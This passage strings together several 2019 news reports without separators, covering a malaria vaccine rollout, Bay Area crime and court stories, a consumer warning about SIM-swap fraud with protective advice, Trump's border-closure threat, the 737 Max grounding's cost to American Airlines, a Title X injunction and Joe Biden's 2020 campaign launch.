less severe cases of malaria. The parasitic disease kills about 435,000 people every year, the majority of them children under 5 in Africa. "It's an imperfect vaccine but it still has the potential to save tens of thousands of lives," said Alister Craig, dean of biological sciences at the Liverpool School of Tropical Medicine, who is not linked to WHO or vaccine. Craig said immunizing the most vulnerable children during peak malaria seasons could spare many thousands from falling ill or even dying. The vaccine, known as Mosquirix, was developed by GlaxoSmithKline and was approved by the European Medicines Agency in 2015. A previous trial showed the vaccine was about 30% effective in children who got four doses, but that protection waned over time. Reported side effects include pain, fever and convulsions. Pedro Alonso, director of WHO's malaria program, said similar vaccination programs would begin in the coming weeks in Kenya and Ghana, with the aim of reaching about 360,000 children per year across the three countries. Alonso called the vaccination rollout a "historical moment," noting that it was significantly more difficult to design a vaccine against a parasite as opposed to a bacterium or virus. He acknowledged the vaccine was flawed but said the world could not afford to wait for a better option. "We don't know how long it will take to develop the next-generation vaccine," he said. "It may be many, many years away." In the meantime, he said, the stalled progress against malaria demanded new tools now. Resistance is growing to medicines that treat the disease, while mosquitoes are becoming more resistant to insecticides. In addition, funding for malaria efforts has plateaued in recent years. It took GSK and partners more than 30 years to develop the vaccine, at a cost of around $1 billion. GSK is donating up to 10 million vaccine doses in the current vaccination initiatives. A company spokesman said GSK is working with partners to secure funding for potentially broader vaccination programs. Some experts warned the vaccination programs should not divert limited public health funds from inexpensive and proven tools to curb malaria such as bed nets and insecticides. "This is a bold thing to do, but it's not a silver bullet," said Thomas Churcher, a malaria expert at Imperial College London. "As long as using the vaccine doesn't interfere with other efforts, like the urgent need for new insecticides, it is a good thing to do." Craig said one of health officials' biggest challenges could be convincing parents to bring their children for repeated doses of a vaccine that only protects about a third of children for a limited amount of time. More commonly used vaccines, like those for polio and measles, work more than 90 percent of the time. "This malaria vaccine is going to save many lives, even if it is not as good as we would like," Craig said. "But I hope this will kick-start other research efforts so that the story doesn't end here." Police in Contra Costa County are asking the public for information after a violent struggle to arrest a naked man running around a church parking lot Thursday. Two Antioch police officers suffered minor injuries during the arrest of Pedro Mares, 28, at Holy Rosary Church around 2 p.m. Mares reportedly appeared to be under the influence of drugs when he ran away from the officers into the church parking lot then back to the chapel, officials said. It took three officers to eventually arrest him and put him in handcuffs. Mares got treated at a local hospital but is expected to be booked in county jail. Anyone with information is expected to contact the Antioch Police Department. Police in Fremont on Friday identified the suspect who was shot and killed last week after he fired a handgun at officers near Washington Hospital. Michael Allen Felch, 30, fired a .40 caliber handgun at Fremont Police Department officer Ryan Lobou who was on his way back to the police station last Thursday. Based on witness and video evidence, Felch fired his gun more than three times and as many as five, Fremont Police Chief Kimberly Petersen said at a news conference Friday. On Feb. 1, Alameda County Sheriff's Office issued a bulletin about Felch, noting that he expressed homicidal ideation regarding law enforcement, and that he was going to "get a gun and shoot the first cop he saw," according to Fremont police. Officer Lobue was driving southbound on Civic Center Drive when Felch allegedly fired a gun at the patrol vehicle, according to Fremont Capt. Fred Bobbitt. The officer made a u-turn and used his rifle to fire back at the suspect. More police officers responded to the scene around 10:50 p.m. and 17 minutes later, Felch was pronounced dead, police said. After Lobue fired back at Felch, he was on the ground, waving his arms with a gun next to him, according to Bobbitt. Officers told Felch not to move but he "crawled and grabbed the firearm and pointed it at our officers," Bobbitt said. Two other officers fired seven and nine additional shots at the suspect and a gun was found underneath the man's torso, police said. No officers or bystanders were injured. Fremont police said Felch had previously been arrested for battery of an office and vandalism in 2018. He also had a DUI and drug possession record from 2008, police said. "We can't know exactly what was in his mind. His mother did say he was troubled, that possibly he had some mental health issue. Of course, our officers couldn't have possibly known that as they were responding but that was a strong possibility," Petersen said. She added that his mother is coorporating with the investigation but she's also upset the footage of her son's actions and death is being made public. Petersen said that's an unintended consequence of the new California law in which police are required to release records of investigations of police-involved shootings. In responding officer Jennifer Allsup's in-car video footage, Felch can be seen lying on the ground with what appears to be a handgun right next to him. He reached and grabbed the item and pointed it in the officers' direction, the video showed. Investigators are still working to find out where Felch got the handgun, Fremont police said. If Felch was alive, he would have been charged with three counts of attempted homicide and one count of felony possession of a gun. Manohar Raju has been sworn in as San Francisco's newest public defender the city's first Indian American to be appointed to the position just two months after the sudden death of former Public Defender Jeff Adachi. During Raju's swearing-in ceremony Thursday at the Ella Hill Hutch Community Center in the city's Western Addition neighborhood, several city officials were in attendance, including Mayor London Breed, who hosted the ceremony. San Francisco Mayor London Breed on Monday named Manohar Raju to be the citys new public defender after the death of Jeff Adachi last month. Pete Suratos reports. "We know that we can never replace Jeff. But we also know that Jeff would've been so proud that Mano has been selected to take his place," Breed said. "And here we are with an incredible leader, someone who has not just fought the battles in the courtroom, but someone who has fought the battles in the community." Raju said, "Any of my success doesn't happen without inspiration, support and input from my clients, my community, my amazing public defender family, and of course, Jeff Adachi, whose legacy I will continue to honor. Hundreds of people mourning the death of San Francisco Public Defender Jeff Adachi packed City Hall Monday morning to remember his legacy as the city's first Asian American elected to the position. Sam Brock reports. "The role of the public defender should be to balance the scales. It is a constitutional right that was established more than 200 years ago that was designed to make sure that all people, not just some people, are given the right to strong counsel. The right to have someone stand up in their defense, to tell their story," he said. Breed first announced she had appointed Raju to the position last month. Prior to his appointment, Raju worked at the public defender's office for 11 years, managing the felony division. Before that, he worked as a public defender in Contra Costa County. The death of Jeff Adachi, one of San Franciscos most visible public figures, remains littered with questions as several members of the citys legal circles are questioning why police categorized it as a suspicious death investigation. Raju is set to serve as public defender until this November's election, when voters will decide whether to choose him to serve the remaining three years of Adachi's term. San Francisco's public defender is the only one in California to be elected to office. Adachi, 59, served as public defender since 2002 until he passed away on Feb. 22 at an apartment in the city's Telegraph Hill neighborhood. What to Know HACKERS ARE HIJACKING CELL NUMBERS PASSWORD RESET CODES COMPROMISED ACCOUNT CHANGES RECOMMENDED TO PROTECT YOURSELF Rob Ross freaked out. One minute, the San Francisco mans investment accounts added up to a million dollars; the next moment they had a zero balance. "I was devastated," he said. It was about 90 percent of my net worth. Ross was a victim of the SIM Swap Scam. His story is a warning for everyone. If you have a mobile phone, you are a potential target in this fraud. Thieves have hacked this extra layer of protection known as two-factor authentication. Youve probably seen "2FA" in the form of a message from your bank account, social media, or email provider suggesting something along the lines of adding a phone number adds security. But thieves have hacked it. First, they hijack your mobile phone number. At that point, your email, social media, and financial password reset codes go to them. And that's all they need to take control of all those accounts and steal from you. They dont care about the damage they are doing to other peoples lives, Ross said. The scam starts when your cellphone suddenly shows No Service. After Ross discovered that message on his phone, he contacted his carrier. AT&T said there had been a SIM swap request, Ross said. I had never heard the term SIM swap. The SIM is the small card that contains your phone number. When the hackers got Rosss carrier to swap his number off his SIM and put it on their phone, they redirected Rosss calls and text messages. And thats all the hackers needed to clear him out. My worst fears were being played out in real time, he said. They traded the money into bitcoin and then they withdrew it all. We searched our nationwide database of consumer complaints and found viewers around the country complaining of the same SIM swap scam. Why would they take control over my phone number, asked a New York woman whose credit was compromised after a SIM swap. A viewer near Los Angeles lost money just as quickly as Ross did. They stole $4,000 in less than 2 minutes, she wrote. Law enforcement sources estimate 1,000 victims, conservatively. We wondered how hackers are gaining access to so many peoples wireless accounts to swap SIMs. We found Trickery and bribery. We pulled records for a few SIM Swap cases that are in court. They show one hacker simply "pretending to be an AT&T agent" on the phone with AT&T to access a targets cellular account and hijack their number. Other hackers in online chats brag of paying off carrier salespeople or call center workers with a few bucks or even a small bag of pot. Hackers call them plugs. One hacker wrote, My Sprint plug is legit. Ross fears low level carrier employees, some of whom are overseas, are too easily compromised into swapping SIMs. A lot of people," he said, "are susceptible to bribery. Ross said the world's wireless carriers need to step up. To my knowledge, [the carriers] are not doing anything. We asked AT&T, Verizon, Sprint, and T-Mobile how theyre combatting unauthorized SIM swaps. AT&T said in a statement, We continually look for ways to enhance our policies and safeguards to protect against these sorts of scams. Verizon recommended users put an administrative block on their account. T-Mobile offered the same solution plus an account PIN. Sprints website also suggests a PIN for any changes to your service or SIM. But court records we covered show at least one SIM swappers plug simply handing it over. [The plug] just gives me the PIN, one hacker wrote. Justin Dolly, chief security officer at a cybersecurity firm SecureAuth, told us wireless carriers track their workers at almost every turn. So now they need to cross reference that big data with unusual transactions and weed out whoever is assisting scammers. The information is there," he said. Theres definitely some responsibility that they need to take." So, what do you do about those password resets by text that can open the door for hackers? Consider some changes, right now. Ask your bank, brokerage, email, and social media companies if they can send unlock codes via email, not SMS. Or, text them to a secondary number like Google Voice instead of your cell. Dolly endorsed that idea. Youre one more hop away from the hacker, and they might not be able to reach you there, he reasoned. Ross launched a website, StopSIMcrime.org, to raise awareness of the SIM Swap Scam. The site warns people that your phone could one day read No Service. And then, no matter how much or how little money you have, SIM swapping hackers will try to steal it. "They dont always know what theyre going to get until they get into the financial accounts, Ross said. And yet, they keep trying. "Theyre doing this all day long. Detectives recovered some of Rosss savings. But most of it is still missing. The accused thief is facing prosecution in Santa Clara County. If you suddenly see No Service on your cellphone, call your carrier right away from a different phone to see if your SIM has been swapped. If so, insist they undo it immediately. Then lock down your financial accounts ASAP. Block withdrawals. Check your balances. And report any missing money on the spot. If you've been the victim of a SIM swap, let us know. Call 888-996-TIPS. Or go to NBCBayArea.com/Responds. An Iraq War veteran deliberately drove into a group of pedestrians because he thought some of the people were Muslim, California authorities said Friday. Isaiah Joel Peoples, 34, faces eight counts of attempted murder for injuring eight people, including four who remain hospitalized. The most seriously injured is a 13-year-old Sunnyvale girl of South Asian descent who is in a coma with severe brain trauma. The District Attorney is not officially calling it "hate crime" because the case is still under investigation. "New evidence shows that the defendant intentionally targeted the victims based on their race and his belief that they were of the Muslim faith,'' Sunnyvale police chief Phan Ngo said. Peoples appeared briefly in Santa Clara County Superior Court on Friday. He did not enter a plea and is being held without bail. The former U.S. Army sharpshooter experienced post-traumatic stress disorder after serving in Iraq, his family said. Peoples' attorney, Chuck Smith, said Friday that the crash was in no way deliberate. "This act was clearly the product of some mental disorder or mental defect,'' Smith said after the hearing. Peoples was on his way to a Bible class Tuesday in the Silicon Valley suburb of Sunnyvale when he told investigators he intentionally drove into a group of men, women and children, police said. The 13-year-old girl was hit along with her father and brother, who had minor injuries. Jay Boyarsky, chief assistant district attorney for Santa Clara, said the charges carry a sentence of life in prison. He said they will file hate crime allegations if warranted. "There is very appalling and disturbing evidence that at least one or two of these victims were targeted based on the defendant's view of what their race or religion may have been,'' he said. Three adults also remain hospitalized with injuries that include broken limbs and fractures. Peoples showed no remorse after his car plowed at high speed into a group of people in a crosswalk before hitting a tree, Ngo said. Witness Don Draper said he marched over to Peoples' car after he crashed, and he found the driver muttering over and over, ``Thank you, Jesus. Thank you, Jesus.'' But Ngo said that "he did not behave in any manner that would be considered bizarre,'' when taken into custody. Family and friends described Peoples as quiet and polite and expressed shock at his involvement. His mother, Leevell Peoples of Sacramento, said her son had "a bad episode'' with PTSD in 2015, for which he was hospitalized. Peoples was deployed to Iraq in 2005 and 2006. Peoples was honorably discharged from the Army, and police were investigating the PTSD report, Ngo said. Peoples had no criminal record and owned one weapon, a disassembled and inoperable shotgun that was in the trunk of his vehicle, according to the police chief. Associated Press writers Olga R. Rodriguez and Juliet Williams also contributed to this report. President Donald Trump's threat to shut down the southern border raised fears Monday of dire economic consequences in the U.S. and an upheaval of daily life in a stretch of the country that relies on the international flow of not just goods and services but also students, families and workers. Politicians, business leaders and economists warned that such a move would block incoming shipments of fruits and vegetables, TVs, medical devices and other products and cut off people who commute to their jobs or school or come across to go shopping. "Let's hope the threat is nothing but a bad April Fools' joke," said economist Dan Griswold at the Mercatus Center at George Mason University in Virginia. He said Trump's threat would be the "height of folly," noting that an average of 15,000 trucks and $1.6 billion in goods cross the border every day. "If trade were interrupted, U.S. producers would suffer crippling disruptions of their supply chains, American families would see prices spike for food and cars, and U.S. exporters would be cut off from their third-largest market," he said. Trump brought up the possibility of closing ports of entry along the southern border Friday and revisited it in tweets over the weekend because of a surge of Central Americans migrants who are seeking asylum. Trump administration officials have said the influx is straining the immigration system to the breaking point. Elected leaders from border communities stretching from San Diego to cities across Texas warned that havoc would ensue on both sides of the international boundary if the ports were closed. They were joined by the U.S. Chamber of Commerce, which said such a step would inflict "severe economic harm." In California's Imperial Valley, across from Mexicali, Mexico, farmers rely on workers who come across every day from Mexico to harvest fields of lettuce, carrots, onions and other winter vegetables. Shopping mall parking lots in the region are filled with cars with Mexican plates. More than 60 percent of all Mexican winter produce consumed in the U.S. crosses into the country at Nogales, Arizona. The winter produce season is especially heavy right now, with the import of Mexican-grown watermelons, grapes and squash, said Lance Jungmeyer, president of the Fresh Produce Association of the Americas. He said 11,000 to 12,000 commercial trucks cross the border at Nogales daily, laden with about 50 million pounds of produce such as eggplants, tomatoes, bell peppers, lettuce, cucumbers and berries. He said a closing of the border would lead to immediate layoffs and result in shortages and price increases at grocery stores and restaurants. "If this happens and I certainly hope it doesn't I'd hate to go into a grocery store four or five days later and see what it looks like," Jungmeyer said. Laredo Mayor Pete Saenz, chairman of the Texas Border Coalition, said a closure would be catastrophic. "Closing the border would cause an immediate depression in border state communities and, depending on the duration, a recession in the rest of the country," he said. "Our business would end," said Marta Salas, an employee at an El Paso shop near the border that sells plastic flowers that are used on the Mexican side by families holding quinceaneras, the traditional coming-of-age celebrations. Salas said her whole family, including relatives who attend the University of Texas at El Paso, would be affected if the border were closed. "There are Americans who live there. I have nephews who come to UTEP, to grade school, to high school every day," Salas said. Meanwhile, the Trump administration said Monday as many as 2,000 U.S. inspectors who screen cargo and vehicles at ports of entry along the Mexican border may be reassigned to help handle the surge of migrants. Currently, about 750 inspectors are being reassigned. That, too, could slow the movement of trucks and people across the border. The effects were evident Monday: Sergio Amaya, a 24-year-old American citizen who lives in Juarez, Mexico, and attends UTEP, said it normally takes him two minutes to cross the bridge. It took an hour this time. "The Border Patrol agent said it's going to get worse," Amaya said. Instead of ensuring the flow of goods across the border, the inspectors are being put to work processing migrants, taking their applications for asylum and transporting them to holding centers. Homeland Security Secretary Kirstjen Nielsen said the reassignments are necessary to help manage the huge influx that is overloading the system. "The crisis at our border is worsening, and DHS will do everything in its power to end it," Nielsen said. In addition to reassigning inspectors, Nielsen has asked for volunteers from non-immigration agencies within her department and sent a letter to Congress requesting resources and broader authority to deport families faster. The administration is also ramping up efforts to return asylum seekers to Mexico. Apprehensions all along the southern border have soared in recent months, with border agents on track to make 100,000 arrests and denials of entry there in March, more than half of them families with children. Associated Press writers Colleen Long, Elliot Spagat, Nomaan Merchant and Anita Snow contributed to this story. A teen girl battling a brain tumor has died after she suddenly fell ill during recovery from surgery, her family revealed. "My sweet baby girl was taken from us yesterday," her mother, Kyle Cuiching, wrote on Facebook Thursday, calling it the "hardest day of my life." Fourteen-year-old Ellie Cuiching was recently airlifted by first responders to her home in Chicago after falling ill on a vacation her doctors cleared her to take. The teen ended up hospitalized in both Jamaica and Miami. "Within 24 days she had five surgeries, so shes been through hell and back, her mother wrote earlier this week. "It was a very intensive process to move her, it was very scary watching them, recounted Kyle Cuiching. According to Kyle Cuiching, Ellie's tumor grew faster than the doctors expected. "She was a fighter and her spirit did not give up on her it was her body," she wrote. "I'm so grateful Ellie made it home. I think she was also waiting to make it home before letting go." School District 113A, where Cuiching attended school, said the teen passed away Wednesday afternoon at Lurie Children's Hospital. "Ellies passing is a tremendous loss for everyone at SD113A and the entire community," the district said in a statement. Back in February, Lemont High School rallied around the teen, selling Ellie Strong bracelets to help the family deal with medical costs and the family expressed how touched they were by the outpouring community support. "It kind of gives us hope and gives us energy, and gets us going forward, moving forward and just kind of helps us get through this fight, Kyle Cuiching said at the time. A celebration of life is being planned for Monday and Tuesday, her mother said. "My goal through this all is to keep Ellies [sic] spirit alive and keep the #elliestrong movement going forward," she wrote. State public health workers are increasing accessibility to vaccines in response to an outbreak of measles in the U.S. that includes seven cases in Illinois. The Illinois Department of Public Health says it's also expanding outreach in communities with low vaccination rates and educating the public on the importance of vaccines. Gov. J.B. Pritzker says his administration is "taking the threat posed by a rise in measles cases very seriously." The department said Tuesday it is working with the Illinois State Board of Education to study why certain schools have lower vaccination rates and identify specifically who isn't being vaccinated. The agency says the public should understand "we have the safest vaccine supply in U.S. history" and "vaccination protects you from illness, and also protects the community around you." American Airlines expects to take a $1 billion hit from two things it didn't expect when 2019 started: That its newest Boeing jet would be grounded for months after two deadly crashes, and that oil prices would rise. The airline's top executives are confident that U.S. regulators will soon allow the Boeing 737 Max to fly again after Boeing completes changes to the jet. In the meantime, however, American is rebooking nearly 700,000 passengers who were supposed to be on the 15,000 Max flights that the airline canceled through Aug. 19. American said Friday the grounding of its 24 Max planes will cut $350 million from 2019 pretax profit, partly because vacationers who bought cheap tickets some time ago will fill seats that American hoped to sell at higher prices closer to the peak summer vacation period. The Max-related loss, along with a $650 million increase in projected fuel spending because of higher oil prices, caused American to cut its forecast of full-year earnings. Executives said they believe the Federal Aviation Administration will approve the Max for flights before Aug. 19. But that was the earliest date that American had enough confidence 95% certainty, said CEO Doug Parker to consider putting the plane back in the airline's schedule. American, like Southwest and United, uses the Max only for domestic flights. And it doesn't matter to American that regulators in Canada, Europe and China are expected to take longer than the FAA to review and approve Boeing's fixes. "If the FAA recertifies the Max, we absolutely will fly the airplane. That's our regulator," Parker said on a call with analysts and reporters. Parker, echoing Southwest CEO Gary Kelly from the day before, said Boeing is a great company but "we are not happy about this issue" around the Max. At the "appropriate time," Parker said, his airline might talk to Boeing "about what this has done to American," but he said discussions over compensation from Boeing have not started. Boeing designed new software called MCAS to prevent aerodynamic stalls, but the software was implicated in preliminary investigative reports into Max crashes in Indonesia and Ethiopia. The software erroneously pushed the planes' noses down based on faulty readings from sensors. Pilots were unable to counter the downward pitch. Boeing says it is fixing MCAS by connecting it to more than one sensor and making the nose-down thrusts less powerful. It will also provide additional pilot training, although there is still debate about whether that instruction should be on computers, as Boeing wants, or in flight simulators, as some regulators prefer. American said it didn't see any problems on the Max flights that it flew before the plane was grounded last month. President Robert Isom said the airline is working with the FAA and Boeing "to make the aircraft better and correct any deficiencies. I know that when we get through with addressing the issues related to MCAS software, it's going to be an even better plane." American said it earned $185 million in the first quarter, up 16% from the same quarter last year. Excluding unusual gains and losses, the Fort Worth, Texas-based company said it earned 52 cents per share, a penny better than the average forecast among 10 analysts surveyed by Zacks Investment Research. The world's largest airline posted revenue of $10.58 billion, up 2% from a year earlier but below the $10.66 billion predicted by analysts. American said full-year earnings will be between $4 and $6 per share. In January, it predicted $5.50 to $7.50 per share. J.P. Morgan analyst Jamie Baker said American could have gotten a better handle on the Max crisis by acting sooner. He awarded American "bronze elite status" among the nation's three biggest airlines because its pretax margins have lagged behind United for four straight quarters and Delta for 11 quarters. Shares of American Airlines Group Inc. rose 33 cents to $33.74 in midday trading, putting them up 5% this year. A U.S. judge in Washington state Thursday blocked new Trump administration rules that would provide additional hurdles for women seeking abortions, including by banning taxpayer-funded clinics from making abortion referrals. Judge Stanley Bastian in Yakima granted the preliminary injunction in cases brought by the state and abortion rights groups, Washington Attorney General Bob Ferguson said. The new rules were due to take effect May 3. "Today's ruling ensures that clinics across the nation can remain open and continue to provide quality, unbiased healthcare to women," Ferguson, a Democrat, said in an emailed statement. The ruling came two days after a federal judge in Oregon, hearing a separate challenge by 20 states, said he intended to at least partially block the rules. That judge, Michael McShane, suggested he was reluctant to issue a nationwide injunction, but said the administration's new policy was motivated by "an arrogant assumption that the government is better suited to direct women's health care than their providers." Title X is a 1970 law designed to improve access to family planning services, especially for low-income women and those in rural areas, but abortion opponents and religious conservatives say it has long been used to indirectly subsidize abortion providers. Abortion is a legal medical procedure, but federal laws prohibit the use of Title X or other taxpayer funds to pay for abortions except in cases of rape, incest, or to save the life of the woman. Clinics that receive money under Title X provide a wide array of services, including birth control and screening for diabetes, sexually transmitted diseases and cancer. The program serves 4 million patients, about 1.6 million of whom obtain services through Planned Parenthood. In addition to banning abortion referrals by taxpayer-funded clinics, the changes would prohibit clinics that receive federal money from sharing office space with abortion providers a rule critics said would force many to find new locations, undergo expensive remodels or shut down. "All over the country, there are Title X providers looking at their patient schedules and wondering what they were going to do," said Clare Coleman, president of the National Family Planning & Reproductive Health Association, which sued. "Now we know that everyone can continue to do their care as they have been doing for the past 50 years." The judge made his ruling from the bench and said he would issue a written opinion early next week, Coleman said. The Department of Health and Human Services declined to comment, citing a policy of not commenting on litigation. While the new rules would permit clinic staff to discuss abortion with clients, they would no longer be required to do so. If patients ask for an abortion referral, staff would be required to give a list of primary care providers with no indication as to which provide abortions. The list would have to include providers who do not offer abortions, and it could not include clinics or organizations that aren't primary care providers, such as Planned Parenthood. Supporters of the changes say they return Title X's regulations back to their original legislative intent that "none of the funds appropriated under this title shall be used in programs where abortion is a method of family planning." "We're extremely disappointed that a district judge made a ruling a wrong ruling that affects the entire nation," said Mark Miloscia, executive director of the Family Policy Institute of Washington, which was not involved in the case. "We support family planning, but not giving it through agencies that kill the unborn." The legal challenges argue that the changes violate a requirement that patients receive pregnancy counseling that is not weighted for or against abortion, and that it violates the Affordable Care Act's prohibition on regulations that impose "unreasonable barriers to the ability of individuals to obtain appropriate medical care." Some 98,000 patients in Washington were expected to receive care through Title X this year, Ferguson said. Former Vice President Joe Biden, a product of the working class who became a key adviser in the Obama administration following a long career in the Senate, officially entered the Democratic race for president Thursday by declaring "we are in a battle for the soul of this nation." Biden's entrance comes four years after his son's death led him to decline the opportunity to take on then-candidate Donald Trump. "The core values of this nation, our standing in the world, our very democracy, everything that has made America America, is at stake," Biden said in an announcement video. He also released a video in Spanish that focused on health care and college affordability. The Scranton, Pennsylvania, native did not mince words in the video, which launched shortly after 6 a.m. In it, Biden focused on Trump's response to a 2017 white nationalist rally in Charlottesville, Virginia, which culminated with the killing of 32-year-old counter-protester Heather Heyer. "That's when we heard the words of the president of the United States that stunned the world and shocked the nation," Biden said of Trump's comment that there were "some very fine people on both sides." "In that moment, I knew the threat to this nation was unlike like any I had seen in my lifetime." Trump welcomed Biden to the race in a tweet that referred to him as "Sleepy Joe" but didn't touch on Biden's attack: "I only hope you have the intelligence, long in doubt, to wage a successful primary campaign. It will be nasty - you will be dealing with people who truly have some very sick & demented ideas. But if you make it, I will see you at the Starting Gate!" Biden, who chased the presidency twice before, enters the 2020 primary as the front runner after leading most polls in the already-crowded field of Democratic candidates. But his decades of political experience could double as ammunition for his critics. The 76-year-old joins a field filled with younger and more diverse candidates. He recently came under fire over allegations of inappropriate, though nonsexual, touching of women and then for joking about that behavior to a room filled, largely, with white men. Whether Biden can appeal to an increasingly progressive Democratic party remains a big question going into the 2020 election. The former six-term U.S. Delaware senator could provide voters the choice of a more middle-of-the-road candidate than others from the left wing, like Sens. Bernie Sanders of Vermont and Elizabeth Warren of Massachusetts. But Biden would be among the oldest candidates running for president. Only Sanders, an independent running as a Democrat, is older. Speaking recently to the International Brotherhood of Electrical Workers in D.C., Biden evoked his Scranton roots and his ability to attract moderate voters disillusioned by a chaotic Trump administration. Perhaps not coincidentally, IBEW was the first organization to endorse Biden when he ran for Senate in the early 1970s. The speech was his first since several women accused Biden of making them uncomfortable with his characteristic, yet uninvited, touchy behavior. He acknowledged the accusations, saying in a video posted online that he's spent his career trying to make human connections but that he understands that "social norms began to change" and that he will adjust to them. A popular vice president under former President Barack Obama, Biden hinted in several interviews this year that he considered running four years ago but ultimately stepped aside in favor of Hillary Clinton after his son, Beau Biden, died from brain cancer in 2015. In January 2016, he told NBC Connecticut of the decision that, "I regret it every day, but it was the right decision for my family and for me." On Thursday, Obama wasted no time showing his support for Biden, though he stopped short of offering an official endorsement. Biden told reporters on Thursday that he asked Obama not to endorse him in order to keep a level playing field heading into the primaries. President Obama has long said that selecting Joe Biden as his running mate in 2008 was one of the best decisions he ever made," an Obama spokesperson said in a statement. Hours after announcing his run for President of the United States, former VP and Del. Sen. Joe Biden made his first public comments in Wilmington. Asked why Obama didnt endorse him ahead of the Democratic primary, Biden said he wanted to win the nomination on his own merits. Obama and Biden "forged a special bond" during their shared time in the White House and remain close friends, according to the statement. Obama relied on Biden's insight, knowledge and judgment throughout his entire presidency and two campaigns. Biden will appear in Pittsburgh next week and will hold a rally in Philadelphia May 18. In 2016, Hillary Clinton won a solid victory in Philadelphia but failed to secure the statewide vote. Trump, on the other hand, zeroed in on Pennsylvania early into his candidacy and has visited the Keystone State several times since taking office. Democrats appeared to have learned a valuable lesson in the last election. A group of prominent party leaders in Pennsylvania, including Sen. Bob Casey, former Gov. Ed Rendell and former Philadelphia Mayor Michael Nutter, are scheduled to throw a fundraiser Thursday for Biden in Philadelphia. The fundraiser will be hosted by seven Democratic members of Congress from Pennsylvania, and will take place at the home of David Cohen, former Rendell chief of staff and senior executive vice president of Comcast Corp., the parent company of NBC News and this website. Biden advisers recently said they were working to build out a robust campaign staff, including operatives in Iowa and South Carolina, states that are seen as key to his path to the nomination. Women were being considered for key roles, including senior strategist and deputy campaign manager, according to advisers, who insisted on anonymity because they were not authorized to discuss the planning publicly. On Thursday, the campaign announced that it would be managed by longtime Biden adviser Greg Schultz. Among the many other staffers hired are senior strategist Symone Sanders, who previously worked for Biden's chief competitor, Bernie Sanders, in the 2016 presidential contest, and Olympic figure skater Hillary Clinton campaign alumna Michelle Kwan as surrogates director. Trump said publicly that he is not threatened by a Biden candidacy, but the president asked his close advisers whether he should be worried about going up against the former VP, CNBC reported in March. One source for the story cited Biden's more moderate viewpoints. In an interview with Fox News in January, Trump called Biden "weak" and said that Obama "took him off the trash heap" when he chose him as his vice president in 2008. Yet Biden's ties to his hardscrabble hometown of Scranton made him a compelling messenger for workers whose jobs and livelihoods remain under threat by globalization and outsourcing. His role in an Obama administration that poured billions of dollars into rescuing the U.S. auto industry from the 2008 financial crisis also gives him a unique opportunity to connect with Midwestern voters. "It's a mantle that is open to be grabbed by people who are willing to talk to these voters in an authentic way, in sharing their frustrations," Tom Russell, a Wisconsin-based Democratic strategist who aided the party's successful effort to topple GOP Gov. Scott Walker in 2018, told The Associated Press. "Biden has a history of being able to do that," Russell said. This is Biden's third run for president. His first in 1988 was derailed by charges that he plagiarized a speech by Neil Kinnock, leader of the British Labor Party though he had cited it in earlier appearances as well as passages from Robert F. Kennedy, John F. Kennedy and Hubert Humphrey. In 2008, he struggled to get attention against Obama and then-Sen. Hillary Clinton but got to know Obama and in the end joined the future president's ticket. Biden led the pack in a field of 24 contenders in a Monmouth University Poll out Tuesday. It said he has the support of 27% of Democrats voters leaning towards Democrats, followed by Sanders with 20% and Sen. Kamala Harris of California and South Bend, Indiana Mayor Pete Buttigieg with 8% each. While he would be the oldest U.S. president ever elected, toughness has never been an issue for Biden. He watched his family slide from economic prosperity into hardship during their time in Scranton, and he credits the experience with his ability to overcome great tragedy, including the losses of a wife and two children. Biden first entered politics in 1970 as a member of the New Castle County Council after graduating from the University of Syracuse law school two years earlier. He started working as a defense attorney in Wilmington and launched his own law firm in 1971. By 1972, Biden was 29 and a U.S. senator-elect. But one month after the election, and just a week before Christmas, his first wife, Neilia, and daughter, Naomi, were killed in a car crash. Nevertheless, Biden went on to serve 30 years in Congress. He credited his dad with teaching him how to cope with insurmountable loss. "The measure of a man is not how often he is knocked down, but how quickly he gets up," his father used to say, according to Bidens biography. In 1977, he married his current wife, Jill, and they had a daughter, Ashley. Biden had two other sons from his first marriage. But in 2015, tragedy struck again. Biden's oldest son, Beau, died of brain cancer, which prompted Biden to step away from a 2016 presidential run despite pleas from close friends, including Obama. In his memoir, Biden wrote that Beau, a veteran who served as Delaware's attorney general, made him "promise" to persevere despite the loss. Three years after Beau died, Biden set off on a book tour. "Promise Me, Dad" documented Beau's diagnosis and how those events shaped Biden's final years in the nation's second-highest office and ultimately his decision not to seek the top job in the last election. His son's death "left a hole in the heart of everybody in the family," Biden wrote in his memoir. "It takes time to come back. I'm surprised how much time it took, because I've been through this before. To recover from the shock, Biden leaned on his aides to keep him busy with official duties, according to his book. "The only way Im going to get through this is if you just keep me busy. Schedule me," he recalled directing his chief of staff Steve Ricchetti. Perhaps because he has lost so much, Biden maintains a close-knit group of advisers comprising Valerie Biden Owens, his sister; longtime consultant Mike Donilon; former Sen. Ted Kaufman and former communications director Kate Bedingfield, NBC News reported. Any blueprint the group builds for 2020 would likely closely resemble what they readied for 2016, but with an added emphasis on Biden's potential to unify the party and ultimately the country after a turbulent Trump era. The North Star for Biden would be revitalizing the middle class, a plan Biden touted in a speech last year at the Brookings Institution. He called for a more progressive tax code, free tuition at community colleges and state universities, stronger labor protections and expanded skills training for American workers and a major infrastructure package. "Folks in the middle class are in trouble," he said in the speech, in which he quoted Sen. John McCain, R-Ariz., in decrying the "phony populism" that fueled Trump's rise. "If we have a weak middle class, we become a fractured country," Biden said. "When opportunity fades, people feel left out. And its the lack of hope, the lack of opportunity thats driving so much of whats happening today." Biden would also likely highlight decades' of relationships with Republicans and foreign leaders and promote his record on civil and womens rights. During his time as vice president, Biden declared his public support for same-sex marriage before Obama. According to a 2014 POLITICO story, Biden was shut out of insider meetings for months as a result of going off-script. Indeed Biden's decades in public life that he portrays as an asset also carry challenges. The Washington Post, for instance, reported that he opposed busing children in the mid-1970s as schools sought to further integrate classrooms. Similarly, in 1993, he warned of "predators on our streets" in a speech about crime a day before the U.S. Senate voted on the Violent Crime Control and Law Enforcement Act, CNN reported. Former President Bill Clinton signed the act into law. "We have predators on our streets that society has, in fact, in part, because of its neglect, created," Biden said. "They are beyond the pale many of those people, beyond the pale," he said. "And, it's a sad commentary on society. We have no choice but to take them out of society." Two years earlier in 1991, Biden was chairman of the Senate Judiciary Committee during now Supreme Court Justice Clarence Thomas's confirmation hearing into Anita Hill's accusation of sexual misconduct against Thomas. Biden was criticized for his handling of the hearing and the grilling Hill received, though he later said he believed her and that he owes Hill an apology. The gaffes continued to follow Biden well into the current phase of his public life. He recently angered some in the LGBTQ community when he called Vice President Mike Pence a "decent guy." The comment was quickly criticized by fellow Democrats, including actress and activist Cynthia Nixon, who tweeted that Biden 